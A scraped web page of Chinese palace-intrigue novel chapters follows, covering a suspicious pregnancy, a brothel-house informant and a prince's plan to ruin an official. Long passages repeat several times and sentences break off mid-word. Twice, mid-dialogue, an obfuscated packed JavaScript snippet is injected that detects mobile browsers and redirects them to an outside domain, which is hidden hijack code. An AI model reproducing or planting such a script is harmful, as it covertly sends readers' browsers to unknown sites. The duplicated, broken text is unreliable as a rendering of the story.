沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 第275章 也祝夫人万事顺心 论打探消息,谁也比不过无忧阁。 之前萧夜辰和岚舒帮过春喜好几次忙,借着杳娘这件事,春喜带着阿鲤去了趟无忧阁。 她备了香料和茶叶做礼物,岚舒收到礼物又惊又喜。 “哎呀,夫人一来就让无忧阁蓬荜生辉,怎么还这么客气送上礼物了呢。” 岚舒嘴上说着客气,动作却一点儿都不见外,飞快地把礼物收进身后的抽屉里。 春喜弯眸:“之前我被**多亏了阁主和公子帮忙,这点儿礼物不成敬意,而且阿鲤很机敏,这段时间有他在,省了很多事呢。” 临近过年,春喜请裁缝给府里的下人量尺寸制了新衣,阿鲤身上的衣服料子虽然不是多好,却很合身,瞧着也很暖和。 阿鲤没了之前在无忧阁的媚气,眉眼之间多了两分这个年纪该有的少年气,足见这些日子过得很好。 岚舒眼底闪过欣慰,笑得更欢:“多亏夫人心善不嫌弃,愿意给他机会重新做人。” 来来**说了一番客套话后,春喜这才切入正题,请岚舒帮忙调查杳娘。 “这个孩子来得蹊跷,我想知道杳娘最近有没有跟什么人来往,还知道孩子的亲生父亲是谁。” 春喜说完,拿了一张一百两的银票递给岚舒:“这是定金,等调查有了结果,公子再开价。” “我才收了夫人的礼物,哪好意思再收钱?” 岚舒说着要把银票推回来,春喜摇头:“交情是交情,买卖是买卖,不能混为一谈。” 春喜态度强硬,岚舒便不再推辞,收下银票温声道:“五日内我会派人把查到的消息送到府上,夫人日后有什么事让阿鲤来就行,不必亲自跑一趟。” 春喜点点头,说完正事准备离开,岚舒立刻跟着起身,然后就听到春喜说:“马上要过年了,希望公子和阁主过个好年,新的一年万事胜意。” 春喜如今尚未显怀,眉眼间却已有了母亲的温婉平和,她的眸光柔润,声音轻和,话里是再诚恳不过的祝愿。 饶是岚舒阅人无数,也忍不住怔愣了下。 这么多年,他还是第一次收到新年祝福。 这个时候应该怎么回答来着? 岚舒脑子空白,直到春喜转身往外走,才生疏地回了一句:“也祝夫人万事顺心。” 等春喜的马车消失在街角,岚舒才折返回屋,一进门,就见萧夜辰冷着一张脸杵在屋里。 “阁主来得不巧,沈夫人刚走,她送来的新年礼物和祝福可都没有阁主的份 儿啦。” 萧夜辰并不在意这些,只问:“她为什么事而来?” 岚舒把杳娘的事大致说了一遍,说完忍不住嘀咕:“这清远侯也真是没脑子,他这么多年都没再有子嗣,现在突然冒出个孩子来,他竟然也信是自己亲生的。” 萧夜辰没接话,提步就要走。 岚舒连忙跟上:“这眼瞅着就要过年了,阁主你不先查查账吗?我感觉我今年挺辛苦的,怎么也得多给我一成分红吧。” 萧夜辰步子未停,冷冰冰地问:“孤家寡人一个,你要那么多钱做什么?” 岚舒翻了个大大的白眼:“正是因为孤家寡人一个,我才要攒钱给自己养老啊,不然等到以后年老色衰喝西北风吗?” “就算年老色衰,无忧阁也有的是事给你做。” 萧夜辰的语气还是冷冰冰的,但这话多少有点儿人情味儿,至少他不会因为岚舒老了就一脚把人踹开。 岚舒感动了一瞬,而后摇头道:“阁主可放过我吧,咱们说到底干的是皮肉生意,我可不想一直干到死,总得过几年正常人的日子吧。” 岚舒说完,萧夜辰猛然停下,脸色越发的难看。 岚舒敏锐地问:“怎么啦?大小姐和离成功你不是应该很高兴吗,难道是表明心迹被大小姐拒绝了?” 这话碰了萧夜辰的逆鳞,他回过头,杀意凛然地警告:“我只是想报答萧家对我的养育之恩,并没有别的心思,你再乱说话,我就拔了你的舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104065|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头!” 岚舒当即捂嘴点头。 看来被他说中了,阁主被大小姐拒绝啦,所以听到他刚刚的话,怀疑自己被嫌弃了。 想来也是,这被萧家捧在掌心宠爱着长大的千金大小姐怎可能喜欢上做皮肉买卖的老鸨? 虽然这脏活都是他在做,但萧夜辰顶着阁主的名号,哪能撇得清关系? 出于同情,岚舒没再跟萧夜辰掰扯分红的事。 爱而不得,阁主心里怕是比黄连还苦,定然是没有心情查账的,他自己多从账上划点儿钱走不就好了? 萧夜辰要亲自去查杳娘,岚舒乐得轻松,舒舒服服地洗了个澡,用起春喜送来的熏香。 春喜选的是很清雅的松香,不太适合岚舒的身份,但很合岚舒的喜好。 沈夫人还挺会选礼物的。 岚舒在心里夸了一句,正想再试试茶叶,房门被敲响:“瑛王府来人,请公子去一趟。” 啧,真会选时候,可惜这香了。 岚舒换了身衣服,往身上抹了味道很浓的香膏,彻底掩盖住那股子松香后才出门去往瑛王府。 今日瑛王府有客,瑛王在凉亭里烧着火炉待客,岚舒一到,就被安排了煮茶的活儿。 前两日下了雪,今天虽然是个艳阳天,空气却冷得刺骨。 水刚烧开,岚舒就忍不住打了个喷嚏。 为了好看,他只穿了件薄袄,哪怕就坐在火炉边,也还是冷的。 正与李怀景说话的瑛王当即不满地横了岚舒一眼,让下人重新换了壶水来。 等茶煮好,瑛王喝完一杯才对李怀景介绍:“他叫岚舒,是无忧阁的头牌,对京中各大世家的家宅隐私都了如指掌,你想知道什么都可以问他。” 李怀景满脸警惕,小声道:“下官听说无忧阁背后的主子势力极大,此人可靠吗?” “自然可靠,他的命是我救的,他虽在无忧阁,但真正效忠的人只有我,”瑛王自信地笑出声,“有他在,铲除一个沈清渊并非难事。” 第276章 铲除沈清渊 “好端端的,王爷怎么突然要铲除沈大人?” 岚舒一边给瑛王添茶,一边好奇发问,瑛王冷笑出声:“自然是因为他挡了本王的财路。” 岚舒还想细问,李怀景开口打断:“岚舒公子,你可知道这位沈大人有什么把柄?” 李怀景问得很客气,但眼底有很明显的戒备。 岚舒没再追问,思忖片刻道:“这位沈大人十七岁就中了状元,而后在京兆府沉寂十年,最近才升入御史台,据我所知,过去这十年他虽与京兆府的同僚关系一般,但断案无数,他不爱酒色,也从不收受钱财,品性和能力都没得挑。” 这些和李怀景打听的差不多,李怀景立刻追问:“这么多年,他手头的案子就没有一桩出错的吗?” “应该是没有的,”岚舒摇头,给自己也倒了杯茶,“他在京兆府没有朋友,好多人都看不惯他,要是他有错处,就算不被人揪出来,也会传出一些闲言碎语。” 连闲言碎语都没有,那就是真的无可挑剔了。 李怀景对岚舒的回答很失望,很快又问:“那侯府呢,可有什么辛秘?” “侯府的破事一堆,说三天三夜恐怕都说不完,不过沈大人很少插手后宅之事,哪怕被继母苛待,也不曾说什么,今年年初娶了新夫人,虽说闹出分府之事,但那也是在众目睽睽之下进行的,挑不出什么毛病。” 瑛王对春喜很有印象,他颔首道:“这位沈夫人的确有些能耐。” 李怀景若有所思,岚舒将两人的神情尽收眼底,继续道:“最近侯府倒是有一件事,清远侯准备年后纳续弦,让沈夫人帮着操持婚礼,但这孩子来得突然,沈夫人怀疑孩子不是清远侯亲生的,正托无忧阁调查此事。” 李怀景并不关心清远侯纳不纳续弦,听到春喜托无忧阁办事,立刻问:“沈夫人经常来无忧阁吗?你们关系很好?” “也没有经常,也就来过两次,我跟她关系不是很好,但能说上几句话。” 岚舒如实回答,瑛王当即道:“凭你的本事,只要你想,什么样的女人都能被你玩转在掌心,你可以借这件事多跟她往来接触。” 既然沈清渊身上找不到破绽,从他夫人身上找也是一样的。 只要能让他犯错,不再插手与越西的商贸之事,他们的目的就达到了。 听到瑛王的话,岚舒眉心微皱:“这位沈夫人并非寻常女子,而且她和沈大人的夫妻感情很好,眼下又怀有身孕,恐怕不是很好下手。” 瑛王不爱听这话, 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 